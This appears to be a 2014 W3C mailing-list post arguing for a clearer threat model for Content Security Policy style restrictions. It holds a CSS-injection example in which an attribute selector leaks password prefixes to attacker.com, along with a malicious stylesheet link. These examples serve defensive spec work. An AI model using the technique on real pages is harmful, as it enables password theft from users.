Re: [CSP] Regarding style-src unsafe-eval and CSSOM

On Thu, Aug 28, 2014 at 2:23 AM, Frederik Braun <fbraun@mozilla.com> wrote:
>>'unsafe-eval' protects against CSS modifications from script by
>> modifying style though '.style', '.cssText', 'insertRule()' and
>> '.selectorText'.

This is not actually a description of a threat model. What David was
looking for was something like:

The goal of CSP with regards to style and CSS is to prevent an
attacker from injecting CSS rules which read data from the DOM and
submit information to the server. It is also the the goal to prevent
the attacker from dramatically affecting the layout of a page such
that it's meaning is altered, for example by switching the appearance
of a pair of 'yes'/'no' buttons. A secondary purpose is to prevent an
attacker from injecting CSS rules which makes the page look, like,
*really* ugly. With green and orange shades that don't go together at
all.

For example, by injecting a rule such as
"input[type=password][value^=ab] { background:
url(http://attacker.com/pw?startswith=ab) }" the attacker can know
that there's a <input type=password> element in the DOM which has a
'value' attribute which starts with 'ab'.

Injecting a rule could be done in several ways:
* Tricking the server to include markup that contains a <style>
element which contains said rule.
* Tricking the server to include a <link rel=stylesheet
href="http://attacker.com/passwordstealer.css">
* Tricking a page which contains JS code like
"stylesheets[0].cssRules[0].cssText = 'color:' + someValue;" to use
attacker controlled data for someValue.

However, in order to actually enable developers to use this aspect of
CSP, the intent is to allow pages to block all of the above mentioned
attacks, while still permitting the page to do things like:

* myElement.style.display = "none"
* myElement.style.lineHeight = someFunc();
* myElement.bgcolor = someValue;

Allowing these still means some level of risk. However very few pages
would be able to adopt protection for the mentioned attacks if it also
required not using these APIs. And it is hopefully much more clear to
the page author what effect it would have to allow a third party data
to be used in the above APIs.


Such a threat model description would enable more people to not just
verify that the spec makes sense, but also help when reviewing
implementations of the spec. This since often times the code path in
specs doesn't have a direct mapping to code paths in implementations.

/ Jonas

Received on Thursday, 28 August 2014 18:23:50 UTC